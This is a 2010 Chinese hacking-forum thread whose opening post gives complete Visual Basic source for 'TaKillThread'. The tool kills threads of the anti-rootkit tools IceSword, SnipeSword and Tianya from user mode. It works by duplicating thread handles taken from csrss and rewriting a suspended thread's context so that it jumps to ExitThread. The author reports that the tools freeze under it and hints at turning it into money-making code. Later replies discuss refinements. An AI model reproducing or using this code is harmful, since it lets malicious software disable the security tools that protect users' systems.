找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 11630|回复: 13

[半原创]VB无驱杀冰刃、狙剑、天琊 - TaKillThread(2010-7-31更新)

 火... [复制链接]

38

主题

199

回帖

2

精华

钻石会员

积分
3408
发表于 2010-4-17 21:13:43 | 显示全部楼层 |阅读模式
本帖最后由 Tesla.Angela 于 2010-8-1 23:14 编辑

TaOpenThread:参考了0x7E的思路和代码
TaTerminateThread:修改了Zzzians的代码
更新内容:在TaTerminateThread中把待结束线程的寄存器值全部清零。

fMain.frm:

  1. Option Explicit
  2. Private Sub cmdKillThread_Click()
  3.     TaKillThread CLng(Text1.Text)
  4. End Sub
  5. Private Sub Form_Load()
  6.     RtlAdjustPrivilege 20, 1, 0, 0
  7. End Sub
复制代码


mGetHandle.bas:

  1. Option Explicit
  2. Private Declare Function ZwDuplicateObject Lib "NTDLL.DLL" (ByVal hps As Long, ByVal hs As Long, ByVal ho As Long, ByRef hr As Long, Optional ByVal ac As Long = 2035711, Optional ByVal ha As Long = 0, Optional ByVal op As Long = 4) As Long
  3. Private Declare Function ZwOpenProcess Lib "NTDLL.DLL" (H As Long, ByVal a As Long, b As Any, c As Any) As Long
  4. Private Declare Function ZwQuerySystemInformation Lib "NTDLL.DLL" (ByVal t As Long, p As Any, ByVal n As Long, r As Long) As Long
  5. Private Declare Function ZwOpenProcessToken Lib "ntdll" (ByVal H As Long, ByVal a As Long, H As Long) As Long
  6. Private Declare Function MovMem Lib "NTDLL.DLL" Alias "RtlMoveMemory" (ByVal pD As Long, ByVal ps As Long, Optional ByVal nL As Long = 4) As Long
  7. Private Declare Function ZwClose Lib "NTDLL.DLL" (ByVal H As Long) As Long
  8. Private Declare Function CsrGetProcessId Lib "NTDLL.DLL" () As Long
  9. Private Declare Function ZwQueryInformationThread Lib "NTDLL.DLL" (ByVal hThread As Long, ByVal ThreadInformationClass As Long, ByVal ThreadInformation As Long, ByVal ThreadInformationLength As Long, ReturnLength As Long) As Long
  10. Private Declare Function OpenThread Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwThreadId As Long) As Long
  11. Private Type CLIENT_ID
  12.     UniqueProcess As Long
  13.     UniqueThread  As Long
  14. End Type
  15. Private Type THREAD_BASIC_INFORMATION
  16.     ExitStatus      As Long
  17.     TebBaseAddress  As Long
  18.     ClientId        As CLIENT_ID
  19.     AffinityMask    As Long
  20.     Priority        As Long
  21.     BasePriority    As Long
  22. End Type
  23. Private Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
  24.     UniqueProcessId As Integer
  25.     CreatorBackTraceIndex As Integer
  26.     ObjectTypeIndex As Byte
  27.     HandleAttributes As Byte
  28.     HandleValue As Integer
  29.     pObject As Long
  30.     GrantedAccess As Long
  31. End Type
  32. Private Type OBJECT_ATTRIBUTES
  33.     Length As Long
  34.     RootDirectory As Long
  35.     ObjectName As Long
  36.     Attributes As Long
  37.     SecurityDescriptor As Long
  38.     SecurityQualityOfService As Long
  39. End Type
  40. Private Function OpenPs(ByVal pid As Long, Optional acs As Long = &H40)
  41.     Dim b As OBJECT_ATTRIBUTES, c As CLIENT_ID, H As Long, st As Long
  42.     c.UniqueProcess = pid
  43.     st = ZwOpenProcess(H, acs, b, c)
  44.     If st = 0 Then OpenPs = H
  45. End Function
  46. Private Function hToTid(ByVal H As Long) As Long
  47.     Dim tbi As THREAD_BASIC_INFORMATION
  48.     Dim st As Long
  49.     st = ZwQueryInformationThread(H, 0&, VarPtr(tbi), 28, ByVal 0&)
  50.     If st = 0 Then hToTid = tbi.ClientId.UniqueThread
  51. End Function
  52. Public Function DuplicateThreadHandle(ByVal tid As Long, ByVal OTT As Long) As Long
  53.     Dim st() As SYSTEM_HANDLE_TABLE_ENTRY_INFO, buf() As Long, Csr As Long, hCsr As Long
  54.     Dim cnt As Long, i As Long, rtn As Long, Sx As Long
  55.     ReDim buf(4) As Long
  56.     Sx = ZwQuerySystemInformation(16, buf(0), 20, 0)
  57.     cnt = buf(0) * 4
  58.     ReDim buf(cnt) As Long
  59.     Sx = ZwQuerySystemInformation(16, buf(0), cnt * 4 + 4, 0)
  60.     ReDim st(buf(0) - 1) As SYSTEM_HANDLE_TABLE_ENTRY_INFO
  61.     MovMem VarPtr(st(0)), VarPtr(buf(1)), cnt
  62.     Erase buf
  63.     Csr = CsrGetProcessId()
  64.     hCsr = OpenPs(Csr)
  65.     If hCsr = 0 Then Exit Function
  66.     For i = 0 To cnt / 4 - 1
  67.         With st(i)
  68.             If .ObjectTypeIndex = OTT And .UniqueProcessId = Csr Then
  69.                 Sx = ZwDuplicateObject(hCsr, .HandleValue, -1, rtn, 2032639)
  70.                 If hToTid(rtn) = tid Then
  71.                     DuplicateThreadHandle = rtn
  72.                     Exit For
  73.                 Else
  74.                     ZwClose rtn
  75.                 End If
  76.             End If
  77.         End With
  78.     Next i
  79.     ZwClose hCsr
  80. End Function
  81. Public Function TaOpenThread(ByVal dwThreadId As Long) As Long
  82.     Dim hOut As Long
  83.     hOut = OpenThread(2032639, 0, dwThreadId)
  84.     If hOut = 0 Then
  85.         hOut = DuplicateThreadHandle(dwThreadId, 6) '2k/xp/2k3
  86.     End If
  87.     If hOut = 0 Then
  88.         hOut = DuplicateThreadHandle(dwThreadId, 7) 'vista/08/7
  89.     End If
  90.     TaOpenThread = hOut
  91. End Function
复制代码


mTerminate.bas:

  1. Option Explicit
  2. Public Declare Function RtlAdjustPrivilege Lib "ntdll" _
  3.                                 (ByVal Privilege As Long, ByVal Newvalue As Long, ByVal NewThread As Long, Oldvalue As Long) As Long
  4. Public Declare Function NtSuspendThread _
  5.                Lib "NTDLL.DLL" (ByVal ThreadHandle As Long, _
  6.                                 ByRef PreviousSuspendCount As Long) As Long
  7. Public Declare Function NtResumeThread _
  8.                Lib "NTDLL.DLL" (ByVal ThreadHandle As Long, _
  9.                                 ByRef SuspendCount As Long) As Long
  10. Public Declare Function NtSetContextThread _
  11.                Lib "NTDLL.DLL" (ByVal ThreadHandle As Long, _
  12.                                 ByRef ThreadContext As CONTEXT) As Long
  13. Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
  14. Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  15. Public Declare Function OpenThread Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwThreadId As Long) As Long
  16. Private Declare Function PostThreadMessage Lib "user32.dll" Alias "PostThreadMessageA" (ByVal idThread As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  17. Public Type FLOATING_SAVE_AREA
  18.      ControlWord As Long
  19.      StatusWord As Long
  20.      TagWord As Long
  21.      ErrorOffset As Long
  22.      ErrorSelector As Long
  23.      DataOffset As Long
  24.      DataSelector As Long
  25.      RegisterArea(1 To &H50) As Byte
  26.      Cr0NpxState As Long
  27. End Type
  28. Public Type CONTEXT
  29.      ContextFlags As Long
  30.      Dr0 As Long
  31.      Dr1 As Long
  32.      Dr2 As Long
  33.      Dr3 As Long
  34.      Dr6 As Long
  35.      Dr7 As Long
  36.      FloatSave As FLOATING_SAVE_AREA
  37.      SegGs As Long
  38.      SegFs As Long
  39.      SegEs As Long
  40.      SegDs As Long
  41.      Edi As Long
  42.      Esi As Long
  43.      Ebx As Long
  44.      Edx As Long
  45.      Ecx As Long
  46.      Eax As Long
  47.      Ebp As Long
  48.      Eip As Long '这个邪恶
  49.      SegCs As Long
  50.      EFlags As Long
  51.      Esp As Long
  52.      SegSs As Long
  53.      ExtendedRegisters(1 To &H200) As Byte
  54. End Type
  55. Public Const CONTEXT_i386 As Long = &H10000
  56. Public Const CONTEXT_i486 As Long = &H10000
  57. Public Const CONTEXT_CONTROL As Long = (CONTEXT_i386 Or &H1)
  58. Public Const CONTEXT_INTEGER As Long = (CONTEXT_i386 Or &H2)
  59. Public Const CONTEXT_SEGMENTS As Long = (CONTEXT_i386 Or &H4)
  60. Public Const CONTEXT_FLOATING_POINT As Long = (CONTEXT_i386 Or &H8)
  61. Public Const CONTEXT_DEBUG_REGISTERS As Long = (CONTEXT_i386 Or &H10)
  62. Public Const CONTEXT_EXTENDED_REGISTERS As Long = (CONTEXT_i386 Or &H20)
  63. Public Const CONTEXT_FULL As Long = (CONTEXT_CONTROL Or CONTEXT_INTEGER Or CONTEXT_SEGMENTS)
  64. Public Const CONTEXT_ALL As Long = (CONTEXT_CONTROL Or CONTEXT_INTEGER Or CONTEXT_SEGMENTS Or CONTEXT_FLOATING_POINT Or CONTEXT_DEBUG_REGISTERS Or CONTEXT_EXTENDED_REGISTERS)
  65. Public Function TaTerminateThread(ByVal hThread As Long) As Long
  66.     Dim ctx As CONTEXT
  67.     Dim Ret As Long, hApiAddr As Long, hModule As Long
  68.     ctx.ContextFlags = CONTEXT_ALL
  69.     hModule = GetModuleHandle("kernel32.dll")
  70.     hApiAddr = GetProcAddress(hModule, "ExitThread")
  71.     ctx.Eip = hApiAddr
  72.     ctx.Eax = 0
  73.     ctx.Ebp = 0
  74.     ctx.Ebx = 0
  75.     ctx.Ecx = 0
  76.     ctx.Edi = 0
  77.     ctx.Edx = 0
  78.     ctx.Esi = 0
  79.     Call NtSuspendThread(hThread, Ret)
  80.     TaTerminateThread = IIf(NtSetContextThread(hThread, ctx), 0, 1)
  81.     Call NtResumeThread(hThread, Ret)
  82. End Function
  83. Public Sub TaKillThread(ByVal dwThreadId As Long)
  84.     Dim hThread As Long
  85.     hThread = TaOpenThread(dwThreadId)
  86.     If hThread <> 0 Then
  87.         TaTerminateThread (hThread)
  88.     End If
  89. End Sub
复制代码
如果附件无法下载,请点击这里

38

主题

199

回帖

2

精华

钻石会员

积分
3408
 楼主| 发表于 2010-4-17 21:19:16 | 显示全部楼层
本帖最后由 HoviDelphic 于 2010-4-17 21:25 编辑

沙发不留。
经测试,能让冰刃、狙剑、天琊假死。
当然,用来杀线程是很无聊的,改成“能创造GDP的代码”才有意义。
如果附件无法下载,请点击这里
本网站最菜的人 该用户已被删除
发表于 2010-4-17 21:23:24 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
本网站最菜的人 该用户已被删除
发表于 2010-4-17 21:24:43 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

38

主题

199

回帖

2

精华

钻石会员

积分
3408
 楼主| 发表于 2010-4-17 21:28:15 | 显示全部楼层
回复 4# 本网站最菜的人


    TaOpenFile根本不存在,忽悠你的,嘿嘿,别生气……
    SetHandleInformation不稳定,我再改改,原理见这里:http://bbs.kanxue.com/printthread.php?t=91447
如果附件无法下载,请点击这里
本网站最菜的人 该用户已被删除
发表于 2010-4-17 21:34:03 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

0

主题

8

回帖

0

精华

初来乍到

积分
0
发表于 2010-4-28 11:30:06 | 显示全部楼层
好深奥啊,不懂
本网站最菜的人 该用户已被删除
发表于 2010-5-29 22:28:51 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-5-30 00:28:56 | 显示全部楼层
本帖最后由 Tesla.Angela 于 2010-5-30 00:35 编辑
不认识SYF,膜拜 + 学习TAOPENTHREAD
PS:继续期待SetHandleInformation(貌似有个句柄继承相关的API叫Set ...
本网站最菜的人 发表于 2010-5-29 22:28



  不好意思,用户态的MySetHandleInformation失败了,看来某些东西我理解错了。
  内核态的别人已经干成功了,也就没什么好写的了。

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-7-31 11:50:06 | 显示全部楼层
把context结构中寄存器的值全部改成0,效果更爽。

4

主题

28

回帖

0

精华

铜牌会员

积分
199
QQ
发表于 2010-7-31 15:59:47 | 显示全部楼层
汗,看到Ta开头,我还以为指我那……
上帝一样掷骰子!

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-8-1 22:45:19 | 显示全部楼层
回复 12# naylon


就是不可能在Ring3实现。。。

0

主题

56

回帖

0

精华

铜牌会员

积分
67
发表于 2010-8-2 21:42:59 | 显示全部楼层
好深奥啊,不懂

0

主题

32

回帖

0

精华

铜牌会员

积分
50
发表于 2013-2-1 02:13:25 | 显示全部楼层
看起来不是那么简单额。。。
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表